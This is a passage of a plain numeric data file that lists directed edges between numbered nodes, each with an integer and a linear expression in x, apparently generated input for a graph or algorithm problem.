603\n2->14\t77\t15731*x + 1804\n53->96\t67\t92503*x + 10419\n57->11\t43\t1019*x + 1589\n80->16\t66\t33211*x + 2773\n35->25\t52\t52963*x + 7697\n15->91\t91\t37123*x + 3800\n96->24\t65\t79537*x + 1836\n67->62\t103\t63331*x + 5554\n76->35\t88\t3767*x + 2413\n55->13\t99\t67307*x + 4386\n70->88\t71\t57791*x + 5359\n39->72\t92\t72551*x + 2226\n32->90\t86\t27509*x + 3316\n37->93\t98\t9643*x + 8056\n98->22\t64\t98663*x + 15294\n16->70\t57\t44207*x + 7637\n68->45\t13\t43781*x + 7723\n28->15\t63\t56543*x + 7886\n43->53\t120\t30113*x + 1704\n69->2\t72\t33119*x + 1425\n24->85\t83\t44741*x + 4802\n5->92\t51\t70181*x + 4123\n87->97\t108\t96851*x + 12382\n22->20\t62\t191*x + 6798\n41->68\t36\t81773*x + 363\n19->76\t124\t79357*x + 2349\n23->11\t43\t15451*x + 6397\n14->39\t113\t1289*x + 3654\n53->39\t113\t48091*x + 3279\n85->45\t13\t34843*x + 4707\n13->27\t58\t32059*x + 284\n18->88\t71\t38783*x + 4080\n65->80\t110\t16927*x + 1757\n61->88\t71\t76961*x + 7116\n98->65\t95\t49433*x + 1354\n64->54\t94\t4229*x + 5805\n55->5\t82\t69997*x + 1479\n42->83\t12\t86861*x + 8732\n28->83\t12\t2861*x + 8091\n51->54\t94\t9403*x + 3444\n5->88\t71\t65203*x + 6597\n8->59\t84\t104537*x + 10101\n4->85\t83\t58657*x + 8102\n84->91\t91\t63809*x + 6516\n3->25\t52\t14563*x + 8164\n87->39\t113\t42467*x + 3309\n87->67\t117\t58237*x + 2565\n28->87\t121\t19181*x + 2589\n21->30\t96\t81401*x + 3445\n47->89\t107\t24121*x + 6037\n70->92\t51\t3251*x + 2319\n20->76\t124\t56149*x + 7277\n26->44\t45\t51383*x + 3314\n68->71\t37\t79817*x + 3339\n60->56\t119\t102929*x + 11558\n67->71\t37\t10193*x + 634\n25->58\t35\t80953*x + 1987\n89->15\t63\t17839*x + 5766\n35->67\t117\t96233*x + 10310\n30->13\t99\t3643*x + 102\n51->16\t66\t20333*x + 8190\n37->79\t100\t41231*x + 5037\n57->42\t87\t22303*x + 2007\n27->89\t107\t5197*x + 524\n68->75\t56\t97001*x + 8419\n47->7\t126\t67619*x + 5663\n90->27\t58\t52127*x + 2211\n12->87\t121\t61031*x + 6258\n61->24\t65\t1627*x + 6536\n24->95\t111\t58151*x + 3523\n80->0\t33\t3049*x + 4807\n50->15\t63\t26713*x + 6273\n98->71\t37\t9719*x + 1899\n99->89\t107\t26627*x + 3057\n99->83\t12\t67853*x + 1659\n86->26\t81\t95131*x + 11911\n66->26\t81\t54539*x + 7573\n80->38\t75\t72617*x + 1726\n49->35\t88\t63149*x + 5357\n75->11\t43\t66239*x + 6442\n49->93\t98\t96769*x + 8983\n43->26\t81\t6373*x + 7572\n91->17\t104\t43891*x + 7714\n81->97\t108\t28409*x + 3069\n81->78\t76\t30341*x + 2194\n77->79\t100\t14387*x + 3610\n57->70\t57\t70061*x + 7988\n58->86\t53\t82183*x + 4404\n80->78\t76\t9551*x + 3519\n29->83\t12\t31907*x + 5034\n55->20\t62\t34511*x + 2060\n84->40\t34\t7621*x + 6859\n15->41\t73\t32309*x + 608\n76->33\t122\t101503*x + 9767\n36->7\t126\t43133*x + 4888\n82->21\t9\t8443*x + 3437\n42->13\t99\t75683*x + 2429\n81->25\t52\t25349*x + 5291\n12->8\t49\t67741*x + 3413\n28->19\t61\t103087*x + 13226\n9->12\t101\t46727*x + 4854\n97->42\t87\t86143*x + 12828\n66->59\t84\t4813*x + 3075\n27->59\t84\t13709*x + 2018\n74->15\t63\t22447*x + 2547\n73->38\t75\t17467*x + 7385\n17->47\t90\t61637*x + 579\n92->48\t78\t7129*x + 4341\n77->25\t52\t12109*x + 7514\n57->98\t93\t93089*x + 10697\n70->24\t65\t17431*x + 2778\n38->48\t78\t37199*x + 2188\n82->1\t112\t61991*x + 5410\n35->13\t99\t21757*x + 598\n72->30\t96\t22679*x + 424\n23->23\t11\t4441*x + 3946\n95->16\t66\t65407*x + 6479\n44->6\t123\t70709*x + 628\n82->33\t122\t32603*x + 862\n36->75\t56\t64217*x + 4050\n46->25\t52\t68351*x + 3823\n16->64\t70\t42577*x + 858\n96->87\t121\t29017*x + 443\n65->48\t78\t42863*x + 5253\n34->62\t103\t16553*x + 4559\n49->60\t85\t12073*x + 5007\n26->67\t117\t47521*x + 7677\n29->67\t117\t40961*x + 6925\n56->39\t113\t91411*x + 8949\n11->29\t38\t86939*x + 14430\n4->41\t73\t41593*x + 2142\n90->4\t48\t81899*x + 8082\n75->36\t79\t99149*x + 14297\n41->36\t79\t18947*x + 1765\n84->18\t80\t67399*x + 4533\n54->56\t119\t86357*x + 16060\n83->43\t105\t19961*x + 6406\n70->62\t103\t7207*x + 5651\n38->21\t9\t99761*x + 12407\n36->70\t57\t53861*x + 4438\n97->43\t105\t11923*x + 3531\n64->38\t75\t32789*x + 6170\n5->31\t47\t36787*x + 5342\n88->8\t49\t38329*x + 70\n36->85\t83\t18679*x + 6439\n15->42\t87\t77521*x + 7636\n47->43\t105\t50969*x + 3916\n86->10\t46\t98713*x + 14515\n85->38\t75\t6679*x + 7849\n7->84\t89\t53891*x + 5161\n16->35\t88\t14561*x + 6754\n69->66\t44\t94343*x + 14233\n21->83\t12\t47533*x + 5457\n71->93\t98\t84211*x + 9343\n97->9\t115\t64613*x + 3506\n3->66\t44\t6053*x + 6095\n92->95\t111\t54409*x + 5941\n91->49\t68\t96331*x + 15183\n42->53\t120\t45523*x + 3054\n83->17\t104\t3259*x + 373\n41->26\t81\t8539*x + 1420\n46->29\t38\t36583*x + 4609\n37->77\t106\t41849*x + 1278\n16->61\t10\t60887*x + 522\n78->48\t78\t7727*x + 4104\n38->45\t13\t87179*x + 9394\n28->4\t48\t80833*x + 7567\n24->34\t41\t26497*x + 8035\n70->43\t105\t79979*x + 7178\n33->77\t106\t58363*x + 7040\n52->34\t41\t13613*x + 5493\n88->67\t117\t18229*x + 6375\n88->33\t122\t70877*x + 7531\n97->55\t39\t10037*x + 2540\n41->14\t77\t421*x + 2220\n29->60\t85\t104113*x + 14362\n35->38\t75\t86579*x + 13920\n43->56\t119\t58727*x + 5750\n27->4\t48\t90583*x + 15712\n17->30\t96\t3821*x + 1260\n4->19\t61\t98179*x + 11958\n67->97\t108\t103171*x + 15144\n49->19\t61\t92957*x + 13959\n31->77\t106\t89459*x + 10130\n68->44\t45\t97501*x + 15511\n80->64\t70\t90203*x + 15302\n59->10\t46\t25243*x + 7383\n33->7\t126\t8821*x + 148\n74->46\t74\t60923*x + 1380\n86->30\t96\t63113*x + 101\n48->57\t109\t99131*x + 14152\n14->91\t91\t6131*x + 7727\n39->6\t123\t77689*x + 7252\n65->85\t83\t40519*x + 6534\n95->8\t49\t39887*x + 8104\n25->90\t86\t40591*x + 1863\n61->37\t114\t101347*x + 11461\n42->91\t91\t90679*x + 12837\n0->77\t106\t21221*x + 1107\n83->15\t63\t859*x + 5719\n74->33\t122\t54449*x + 5494\n14->57\t109\t47251*x + 5544\n35->54\t94\t19183*x + 7206\n92->6\t123\t8209*x + 5431\n23->65\t95\t35591*x + 6611\n49->32\t69\t5153*x + 1644\n48->47\t90\t20707*x + 3651\n46->7\t126\t95261*x + 14466\n38->87\t121\t1459*x + 4125\n79->17\t104\t761*x + 570\n62->38\t75\t69691*x + 5949\n91->82\t40\t100787*x + 8833\n12->84\t89\t27481*x + 8027\n75->79\t100\t18691*x + 2581\n49->50\t116\t48523*x + 2461\n18->93\t98\t54151*x + 4096\n63->6\t123\t6211*x + 4662\n11->18\t80\t2467*x + 5884\n27->3\t118\t41513*x + 1475\n98->0\t33\t69859*x + 3232\n29->38\t75\t90997*x + 11080\n66->61\t10\t102497*x + 12937\n26->56\t119\t77549*x + 7870\n77->98\t93\t94999*x + 8911\n71->8\t49\t31237*x + 7347\n78->14\t77\t97729*x + 13744\n12->12\t101\t62653*x + 6034\n96->65\t95\t52163*x + 340\n13->83\t12\t40471*x + 2346\n42->8\t49\t1297*x + 1740\n37->34\t41\t90989*x + 14196\n59->50\t116\t36607*x + 739\n69->70\t57\t86461*x + 10300\n72->40\t34\t631*x + 3221\n58->4\t48\t95717*x + 8815\n95->21\t9\t9839*x + 4116\n48->80\t110\t22643*x + 3976\n27->75\t56\t6389*x + 7720\n59->82\t40\t18523*x + 3712\n64->3\t118\t43853*x + 3583\n67->5\t82\t26417*x + 975\n28->85\t83\t55609*x + 5515\n67->79\t100\t45673*x + 7607\n68->69\t59\t32533*x + 4526\n34->12\t101\t20507*x + 4821\n14->87\t121\t14149*x + 2335\n16->15\t63\t30649*x + 4043\n64->42\t87\t67021*x + 1448\n91->26\t81\t1979*x + 7485\n22->69\t59\t9733*x + 4141\n42->67\t117\t12781*x + 4784\n59->93\t98\t81373*x + 894\n36->60\t85\t76511*x + 5249\n65->37\t114\t99961*x + 12048\n8->15\t63\t35753*x + 6353\n48->41\t73\t89057*x + 15485\n87->50\t116\t37483*x + 309\n79->49\t68\t103049*x + 9954\n94->87\t121\t83273*x + 204\n55->10\t46\t9341*x + 1053\n23->3\t118\t36011*x + 1183\n8->7\t126\t14593*x + 5205\n90->50\t116\t8627*x + 1596\n8->43\t105\t93383*x + 15175\n94->46\t74\t32749*x + 2272\n2->66\t44\t2719*x + 108\n48->32\t69\t66553*x + 7872\n65->25\t52\t99103*x + 8240\n33->76\t124\t82223*x + 6723\n82->71\t37\t20719*x + 5975\n32->61\t10\t75743*x + 4156\n14->53\t120\t8669*x + 5875\n29->15\t63\t66383*x + 5505\n41->25\t52\t9767*x + 5018\n16->93\t98\t68633*x + 6198\n27->94\t125\t101149*x + 10938\n33->85\t83\t23813*x + 5878\n98->1\t112\t90901*x + 13190\n47->5\t82\t44159*x + 1673\n23->12\t101\t68771*x + 837\n25->88\t71\t43261*x + 7066\n52->57\t109\t82217*x + 2746\n66->84\t89\t69739*x + 2362\n44->57\t109\t94649*x + 12307\n69->59\t84\t85037*x + 16381\n31->10\t46\t38149*x + 4269\n90->94\t125\t39367*x + 7986\n54->96\t67\t29753*x + 1005\n44->53\t120\t82601*x + 3759\n19->71\t37\t94583*x + 12775\n98->3\t118\t17387*x + 4664\n1->88\t71\t81839*x + 4654\n53->62\t103\t55411*x + 802\n49->57\t109\t76519*x + 7492\n16->23\t11\t13763*x + 506\n6->65\t95\t78367*x + 1825\n42->86\t53\t22381*x + 1989\n60->8\t49\t46867*x + 532\n37->81\t32\t97687*x + 10563\n80->29\t38\t8363*x + 1610\n84->81\t32\t53353*x + 8074\n55->99\t54\t57709*x + 5261\n27->8\t49\t59273*x + 3734\n12->64\t70\t44939*x + 2118\n73->55\t39\t39877*x + 7518\n97->67\t117\t24683*x + 2882\n40->68\t36\t48889*x + 4283\n42->5\t82\t5407*x + 4560\n5->36\t79\t98927*x + 14354\n39->65\t95\t25741*x + 5988\n3->93\t98\t12263*x + 466\n46->52\t42\t20981*x + 2293\n63->90\t86\t9739*x + 1011\n57->65\t95\t63601*x + 2973\n81->0\t33\t47623*x + 6393\n84->20\t62\t91757*x + 12877\n95->82\t40\t77621*x + 2378\n91->10\t46\t571*x + 3200\n13->60\t85\t43969*x + 6728\n98->66\t44\t87443*x + 15098\n64->89\t107\t72103*x + 1500\n29->88\t71\t37657*x + 565\n76->36\t79\t67589*x + 3697\n2->89\t107\t52639*x + 5283\n35->85\t83\t53899*x + 3535\n24->35\t88\t42331*x + 1910\n48->3\t118\t48371*x + 416\n59->63\t60\t70379*x + 6684\n57->66\t44\t55117*x + 7519\n53->29\t38\t62581*x + 7317\n59->78\t76\t69709*x + 4761\n13->8\t49\t96457*x + 11559\n44->32\t69\t67733*x + 3839\n64->35\t88\t81031*x + 959\n17->11\t43\t15901*x + 552\n14->73\t102\t76249*x + 5593\n96->78\t76\t81043*x + 6667\n31->48\t78\t91283*x + 11210\n81->71\t37\t65629*x + 1849\n24->93\t98\t66523*x + 7468\n98->27\t58\t28181*x + 1258\n19->89\t107\t6229*x + 1279\n97->74\t55\t64109*x + 2057\n75->47\t90\t3947*x + 6720\n94->28\t50\t61261*x + 8181\n48->14\t77\t67079*x + 7786\n66->81\t32\t50311*x + 638\n59->53\t120\t21611*x + 2876\n37->6\t123\t72869*x + 4448\n17->83\t12\t67579*x + 6652\n26->85\t83\t47501*x + 2047\n10->18\t80\t60413*x + 4695\n94->73\t102\t37747*x + 4291\n79->36\t79\t58189*x + 4405\n53->99\t54\t97259*x + 12521\n14->30\t96\t82207*x + 6093\n95->39\t113\t42899*x + 3114\n54->48\t78\t86381*x + 11445\n31->89\t107\t1381*x + 2796\n96->71\t37\t63697*x + 7971\n27->10\t46\t104003*x + 9430\n47->42\t87\t52837*x + 4996\n15->5\t82\t84787*x + 12935\n50->47\t90\t37309*x + 7909\n62->39\t113\t32413*x + 7210\n47->19\t61\t75169*x + 4028\n36->15\t63\t74131*x + 2096\n11->69\t59\t58511*x + 1485\n31->78\t76\t56113*x + 6627\n21->60\t85\t87649*x + 13134\n96->69\t59\t4951*x + 5167\n86->89\t107\t32633*x + 1335\n91->47\t90\t36587*x + 2445\n41->78\t76\t87583*x + 8567\n44->8\t49\t52489*x + 986\n58->5\t82\t59539*x + 4768\n16->10\t46\t66169*x + 5198\n22->68\t36\t139*x + 293\n10->66\t44\t55621*x + 3065\n28->26\t81\t58897*x + 2107\n76->40\t34\t37337*x + 4085\n79->86\t53\t54497*x + 5539\n81->32\t69\t15667*x + 2827\n55->91\t91\t17863*x + 3004\n10->19\t61\t43777*x + 5355\n87->89\t107\t85751*x + 12289\n96->4\t48\t44263*x + 1322\n69->76\t124\t76123*x + 2650\n86->37\t114\t70913*x + 1302\n22->64\t70\t75017*x + 6031\n75->51\t97\t3559*x + 3463\n30->0\t33\t6673*x + 6317\n11->6\t123\t3407*x + 3129\n26->51\t97\t99347*x + 11663\n95->50\t116\t9629*x + 8004\n49->27\t58\t8677*x + 4797\n4->47\t90\t81671*x + 5218\n15->8\t49\t3301*x + 422\n59->54\t94\t16561*x + 1445\n28->37\t114\t35509*x + 1147\n50->31\t47\t44819*x + 3736\n90->63\t60\t26513*x + 906\n8->64\t70\t31393*x + 6328\n31->17\t104\t5519*x + 151\n62->7\t126\t61129*x + 4475\n53->70\t57\t38333*x + 182\n47->0\t33\t34129*x + 6526\n80->28\t50\t22567*x + 2937\n28->56\t119\t98737*x + 11222\n92->44\t45\t70139*x + 3903\n63->45\t13\t22787*x + 899\n79->46\t74\t15277*x + 2191\n99->1\t112\t99877*x + 10039\n32->40\t34\t77587*x + 4238\n7->67\t117\t33091*x + 5463\n2->15\t63\t44201*x + 6469\n89->31\t47\t72089*x + 2977\n14->27\t58\t46279*x + 6935\n86->97\t108\t92051*x + 8846\n44->73\t102\t34183*x + 7515\n55->65\t95\t57859*x + 6421\n60->6\t123\t33623*x + 4992\n86->73\t102\t76463*x + 7652\n71->36\t79\t95783*x + 8844\n71->16\t66\t24979*x + 329\n82->75\t56\t84631*x + 10175\n50->72\t92\t157*x + 7228\n23->60\t85\t36007*x + 4003\n23->67\t117\t72767*x + 1660\n44->61\t10\t102337*x + 11392\n60->24\t65\t65479*x + 3852\n94->21\t9\t89071*x + 11145\n16->57\t109\t6067*x + 2154\n91->66\t44\t21317*x + 2299\n42->30\t96\t104287*x + 9012\n30->48\t78\t37699*x + 104\n6->54\t94\t100069*x + 9914\n86->64\t70\t71987*x + 5855\n98->77\t106\t35803*x + 4652\n9->83\t12\t2879*x + 803\n7->38\t75\t17333*x + 6262\n33->73\t102\t32537*x + 2927\n90->59\t84\t29303*x + 3598\n0->73\t102\t60733*x + 6371\n31->39\t113\t25939*x + 639\n52->40\t34\t35051*x + 7958\n36->52\t42\t24023*x + 7951\n79->19\t61\t2039*x + 1200\n45->35\t88\t93559*x + 13112\n4->50\t116\t103409*x + 12682\n43->73\t102\t5623*x + 4998\n14->83\t12\t97187*x + 15789\n79->88\t71\t102607*x + 11942\n40->0\t33\t90697*x + 15643\n62->35\t88\t17837*x + 1730\n82->47\t90\t27143*x + 2790\n0->26\t81\t52183*x + 7883\n20->35\t88\t74323*x + 1228\n25->96\t67\t41947*x + 406\n71->66\t44\t61559*x + 1007\n34->70\t57\t73459*x + 3717\n0->79\t100\t87631*x + 11268\n44->60\t85\t82793*x + 207\n73->1\t112\t68659*x + 777\n22->17\t104\t29221*x + 5731\n17->82\t40\t87013*x + 16371\n3->94\t125\t53813*x + 6423\n84->69\t59\t81281*x + 5623\n68->54\t94\t58153*x + 3320\n94->66\t44\t59077*x + 4594\n88->98\t93\t20089*x + 4113\n95->20\t62\t49193*x + 1364\n57->87\t121\t44617*x + 3466\n60->32\t69\t72707*x + 8128\n13->53\t120\t22003*x + 4403\n4->16\t66\t24499*x + 2956\n52->74\t55\t64763*x + 5642\n46->3\t118\t44221*x + 889\n27->85\t83\t50387*x + 3388\n39->17\t104\t62743*x + 6851\n43->21\t9\t90523*x + 8403\n69->81\t32\t10009*x + 1363\n7->78\t76\t36901*x + 5860\n33->69\t59\t45827*x + 5709\n52->37\t114\t8929*x + 4471\n84->0\t33\t3847*x + 3156\n42->17\t104\t24169*x + 6951\n95->28\t50\t45659*x + 7432\n48->76\t124\t24623*x + 2771\n4->64\t70\t12659*x + 1553\n37->78\t76\t58661*x + 388\n39->64\t70\t5867*x + 7661\n7->92\t51\t59809*x + 2483\n36->78\t76\t45197*x + 2\n89->14\t77\t100493*x + 8510\n47->69\t59\t30851*x + 1086\n86->32\t69\t79139*x + 1747\n37->44\t45\t15313*x + 5100\n27->38\t75\t49409*x + 4622\n57->14\t77\t54163*x + 2115\n16->9\t115\t91957*x + 14299\n53->1\t112\t16703*x + 5788\n98->98\t93\t62219*x + 4760\n83->96\t67\t68743*x + 2024\n66->21\t9\t26711*x + 5104\n10->78\t76\t101281*x + 13440\n0->71\t37\t34729*x + 6434\n65->27\t58\t35677*x + 6770\n40->16\t66\t26003*x + 5873\n42->80\t110\t72053*x + 992\n8->21\t9\t93097*x + 11496\n51->77\t106\t85081*x + 9082\n94->19\t61\t21101*x + 3337\n42->79\t100\t15559*x + 231\n1->52\t42\t81611*x + 24\n90->71\t37\t55889*x + 5835\n64->99\t54\t67499*x + 3985\n42->60\t85\t12983*x + 6156\n83->90\t86\t47459*x + 6595\n89->42\t87\t26737*x + 4300\n60->81\t32\t37591*x + 391\n92->1\t112\t3067*x + 8031\n58->93\t98\t39323*x + 4478\n67->67\t117\t95989*x + 15829\n24->55\t39\t95177*x + 12563\n92->72\t92\t64901*x + 7048\n9->3\t118\t90709*x + 16076\n18->84\t89\t21433*x + 4\n60->67\t117\t28603*x + 5613\n37->12\t101\t87961*x + 13452\n19->60\t85\t41443*x + 1282\n66->80\t110\t68399*x + 6290\n79->18\t80\t9437*x + 7511\n88->65\t95\t100291*x + 11513\n86->56\t119\t5783*x + 6643\n4->87\t121\t89477*x + 13082\n51->64\t70\t18313*x + 321\n23->68\t36\t99259*x + 12994\n58->40\t34\t72287*x + 4882\n80->6\t123\t26489*x + 119\n28->49\t68\t73561*x + 2587\n97->50\t116\t25169*x + 5325\n82->87\t121\t99079*x + 13855\n9->94\t125\t8849*x + 3178\n46->53\t120\t42683*x + 4367\n18->10\t46\t90619*x + 12546\n95->31\t47\t233*x + 4795\n99->14\t77\t43399*x + 6240\n30->50\t116\t36083*x + 1023\n84->83\t12\t23971*x + 15\n90->37\t114\t51061*x + 2887\n60->31\t47\t38669*x + 954\n93->8\t49\t72859*x + 4831\n91->84\t89\t60761*x + 3826\n27->64\t70\t78283*x + 2690\n7->96\t67\t69061*x + 1049\n75->99\t54\t27883*x + 4317\n77->24\t65\t41771*x + 7678\n1->71\t37\t4663*x + 6710\n82->50\t116\t88741*x + 11014\n14->52\t42\t83891*x + 6599\n8->20\t62\t75353*x + 680\n13->79\t100\t77069*x + 4395\n82->49\t68\t71419*x + 5013\n90->40\t34\t53923*x + 2326\n96->94\t125\t62627*x + 5540\n26->26\t81\t29401*x + 1358\n62->95\t111\t64633*x + 6296\n62->27\t58\t48409*x + 8145\n67->28\t50\t68207*x + 4400\n61->89\t107\t80789*x + 1867\n87->37\t114\t38167*x + 8083\n97->65\t95\t15199*x + 5187\n78->44\t45\t55333*x + 4147\n37->32\t69\t55457*x + 2026\n54->85\t83\t75983*x + 3503\n18->49\t68\t72101*x + 8158\n85->19\t61\t91237*x + 14235\n19->26\t81\t22669*x + 7379\n36->19\t61\t78653*x + 1403\n23->21\t9\t23021*x + 1602\n98->19\t61\t86729*x + 10883\n41->83\t12\t28813*x + 6451\n60->2\t72\t69127*x + 6732\n34->40\t34\t87911*x + 9469\n28->42\t87\t93187*x + 14919\n54->39\t113\t91151*x + 10559\n58->31\t47\t29761*x + 6886\n36->5\t82\t22157*x + 6312\n31->40\t34\t46723*x + 3665\n57->17\t104\t99707*x + 13912\n21->66\t44\t94207*x + 9600\n77->1\t112\t76039*x + 530\n70->93\t98\t63727*x + 4461\n6->80\t110\t73331*x + 417\n9->63\t60\t99257*x + 9083\n89->12\t101\t99767*x + 10168\n42->1\t112\t35593*x + 5921\n86->14\t77\t61507*x + 7110\n11->63\t60\t1823*x + 7547\n73->97\t108\t33037*x + 6891\n79->90\t86\t30029*x + 2648\n78->60\t85\t55343*x + 3577\n60->26\t81\t10663*x + 11\n78->21\t9\t66161*x + 5759\n30->1\t112\t61121*x + 7999\n63->77\t106\t65651*x + 541\n44->21\t9\t29123*x + 1792\n83->46\t74\t52223*x + 568\n85->41\t73\t61861*x + 5615\n24->6\t123\t17107*x + 5356\n29->20\t62\t41903*x + 6556\n49->13\t99\t8311*x + 1045\n19->84\t89\t96667*x + 15862\n83->55\t39\t93763*x + 8751\n81->17\t104\t102217*x + 8805\n91->89\t107\t64381*x + 7161\n12->9\t115\t97241*x + 14486\n55->6\t123\t56633*x + 6762\n50->90\t86\t104711*x + 9755\n62->2\t72\t73571*x + 1351\n54->64\t70\t8867*x + 1226\n89->50\t116\t57731*x + 2513\n28->66\t44\t101207*x + 13286\n37->85\t83\t99719*x + 11817\n11->47\t90\t22973*x + 1789\n82->23\t11\t65957*x + 5425\n57->2\t72\t7451*x + 707\n7->30\t96\t39199*x + 7782\n4->37\t114\t81077*x + 4144\n77->99\t54\t13487*x + 5712\n22->82\t40\t28123*x + 1718\n97->44\t45\t33029*x + 1732\n98->51\t97\t23041*x + 7479\n24->67\t117\t86323*x + 14030\n20->24\t65\t80317*x + 1312\n70->37\t114\t55787*x + 872\n44->43\t105\t87697*x + 10932\n12->92\t51\t68213*x + 6541\n76->1\t112\t17207*x + 3646\n65->13\t99\t98491*x + 15362\n39->68\t36\t93479*x + 9916\n26->66\t44\t19157*x + 2159\n67->94\t125\t33629*x + 6487\n94->13\t99\t41851*x + 5243\n11->22\t64\t46301*x + 2023\n83->52\t42\t65447*x + 6699\n72->27\t58\t12739*x + 3740\n76->63\t60\t22147*x + 5191\n31->74\t55\t69661*x + 2588\n80->26\t81\t71327*x + 1990\n82->16\t66\t20353*x + 2546\n36->69\t59\t49369*x + 4557\n3->76\t124\t9161*x + 2549\n11->99\t54\t12119*x + 2427\n99->7\t126\t20161*x + 2737\n45->2\t72\t79493*x + 3297\n81->19\t61\t36307*x + 3643\n19->7\t126\t31481*x + 5905\n68->42\t87\t67073*x + 1656\n49->56\t119\t15271*x + 3451\n12->53\t120\t57271*x + 5343\n56->2\t72\t58711*x + 1774\n52->96\t67\t44123*x + 3331\n28->8\t49\t32707*x + 4166\n3->32\t69\t7477*x + 7175\n42->48\t78\t28871*x + 1443\n28->53\t120\t21713*x + 2393\n67->32\t69\t15739*x + 2830\n43->40\t34\t101359*x + 8423\n63->37\t114\t29287*x + 4918\n60->86\t53\t4273*x + 2425\n69->37\t114\t14249*x + 910\n23->80\t110\t83203*x + 3639\n97->57\t109\t85601*x + 12390\n53->23\t11\t41203*x + 609\n50->75\t56\t80387*x + 5470\n24->29\t38\t49711*x + 5301\n12->91\t91\t40847*x + 4682\n98->14\t77\t80929*x + 1636\n40->35\t88\t45767*x + 2421\n35->22\t64\t77419*x + 6374\n61->19\t61\t28837*x + 1550\n5->66\t44\t30169*x + 5545\n81->79\t100\t38053*x + 5208\n62->1\t112\t4129*x + 3435\n0->52\t42\t81973*x + 6869\n86->46\t74\t5413*x + 2786\n43->42\t87\t66529*x + 5464\n45->89\t107\t45403*x + 3019\n68->33\t122\t58199*x + 3966\n29->69\t59\t3607*x + 1223\n1->75\t56\t71089*x + 1643\n68->24\t65\t13147*x + 1788\n60->21\t9\t103681*x + 11670\n79->41\t73\t1259*x + 4500\n81->52\t42\t76651*x + 5703\n34->37\t114\t881*x + 2911\n45->73\t102\t7489*x + 7646\n97->29\t38\t87973*x + 8526\n84->63\t60\t1279*x + 7225\n30->59\t84\t61493*x + 7760\n10->93\t98\t6329*x + 1604\n54->60\t85\t98909*x + 14125\n14->97\t108\t61043*x + 2379\n18->59\t84\t6203*x + 5912\n11->5\t82\t33599*x + 2566\n4->69\t59\t89101*x + 13455\n9->75\t56\t32051*x + 5322\n93->97\t108\t77417*x + 627\n96->66\t44\t22469*x + 3185\n76->44\t45\t62081*x + 3285\n73->59\t84\t20873*x + 316\n21->3\t118\t13649*x + 7102\n22->73\t102\t72019*x + 8028\n11->30\t96\t26947*x + 2626\n20->8\t49\t23293*x + 3325\n8->65\t95\t67411*x + 1464\n34->26\t81\t92317*x + 13146\n14->13\t99\t32869*x + 785\n21->27\t58\t89527*x + 8441\n89->36\t79\t28087*x + 6576\n30->19\t61\t95483*x + 9886\n64->83\t12\t101641*x + 13693\n74->25\t52\t45569*x + 4898\n47->71\t37\t96787*x + 10445\n56->6\t123\t77479*x + 3375\n99->78\t76\t43987*x + 7576\n52->50\t116\t58537*x + 2498\n50->66\t44\t66137*x + 1632\n14->36\t79\t63649*x + 3814\n29->1\t112\t6863*x + 6146\n30->42\t87\t6959*x + 2166\n24->87\t121\t89669*x + 11385\n74->58\t35\t101141*x + 15687\n87->77\t106\t78607*x + 8183\n26->18\t80\t35159*x + 8173\n31->56\t119\t12007*x + 578\n18->50\t116\t90187*x + 10128\n44->48\t78\t31721*x + 4315\n75->73\t102\t99013*x + 12642\n88->75\t56\t48787*x + 7145\n32->98\t93\t32327*x + 972\n34->64\t70\t65647*x + 2851\n29->42\t87\t61153*x + 2585\n53->55\t39\t21121*x + 4393\n80->36\t79\t99487*x + 12844\n6->44\t45\t19009*x + 4839\n8->60\t85\t14423*x + 5616\n25->13\t99\t5503*x + 3293\n16->59\t84\t100379*x + 9578\n78->58\t35\t10211*x + 7818\n72->76\t124\t70309*x + 4547\n15->44\t45\t6779*x + 1603\n55->95\t111\t26423*x + 3951\n16->66\t44\t83341*x + 2036\n0->47\t90\t49741*x + 835\n53->56\t119\t33863*x + 1194\n27->68\t36\t88469*x + 8927\n89->6\t123\t50671*x + 5119\n74->17\t104\t49523*x + 3356\n18->80\t110\t12799*x + 5485\n87->55\t39\t102253*x + 12999\n37->38\t75\t96847*x + 13722\n96->30\t96\t39383*x + 3784\n98->46\t74\t31391*x + 3975\n31->51\t97\t72341*x + 5764\n82->42\t87\t101107*x + 15015\n63->11\t43\t54559*x + 1843\n72->97\t108\t67679*x + 4009\n43->92\t51\t69467*x + 154\n1->94\t125\t101533*x + 15095\n77->93\t98\t11863*x + 3319\n25->24\t65\t58229*x + 7859\n0->78\t76\t75689*x + 4702\n63->50\t116\t91639*x + 10309\n3->87\t121\t1217*x + 989\n30->67\t117\t2281*x + 1097\n24->83\t12\t22501*x + 4815\n66->10\t46\t56857*x + 7131\n99->99\t54\t1531*x + 7207\n89->33\t122\t78173*x + 1292\n56->42\t87\t12647*x + 3416\n75->17\t104\t16073*x + 2318\n90->84\t89\t66949*x + 4836\n44->94\t125\t71147*x + 7019\n17->96\t67\t6659*x + 7898\n37->87\t121\t19991*x + 5535\n18->2\t72\t29063*x + 379\n85->6\t123\t27823*x + 7240\n66->15\t63\t80369*x + 2365\n84->41\t73\t59981*x + 2575\n87->4\t48\t55501*x + 7440\n61->28\t50\t86533*x + 9864\n58->79\t100\t59447*x + 6099\n59->5\t82\t96269*x + 8802\n86->57\t109\t18121*x + 1374\n83->48\t78\t52433*x + 5529\n29->9\t115\t63443*x + 6715\n18->87\t121\t82421*x + 349\n84->56\t119\t22349*x + 2417\n63->29\t38\t93077*x + 11529\n67->92\t51\t99377*x + 10162\n86->17\t104\t71171*x + 6981\n74->85\t83\t94747*x + 10387\n70->18\t80\t46049*x + 7153\n18->16\t66\t41281*x + 2472\n66->38\t75\t81901*x + 8118\n40->5\t82\t79621*x + 1762\n34->32\t69\t5717*x + 4262\n48->60\t85\t11503*x + 5123\n74->55\t39\t38971*x + 7895\n24->79\t100\t66571*x + 4311\n36->62\t103\t65129*x + 465\n14->56\t119\t94351*x + 14709\n42->25\t52\t27043*x + 4944\n94->10\t46\t66499*x + 2998\n53->6\t123\t61511*x + 69\n99->50\t116\t80849*x + 7970\n0->55\t39\t96953*x + 13645\n15->26\t81\t42667*x + 4569\n61->76\t124\t23081*x + 3882\n88->34\t41\t3919*x + 4789\n75->89\t107\t12919*x + 8180\n74->88\t71\t91159*x + 15680\n20->83\t12\t84751*x + 14107\n29->76\t124\t58439*x + 5074\n74->99\t54\t79147*x + 3561\n53->98\t93\t101701*x + 15028\n90->53\t120\t103*x + 3670\n80->71\t37\t20149*x + 7394\n77->81\t32\t41651*x + 4409\n1->47\t90\t9199*x + 3380\n84->6\t123\t34501*x + 7827\n16->79\t100\t4549*x + 5374\n72->57\t109\t40993*x + 5185\n71->86\t53\t50513*x + 7754\n90->78\t76\t92377*x + 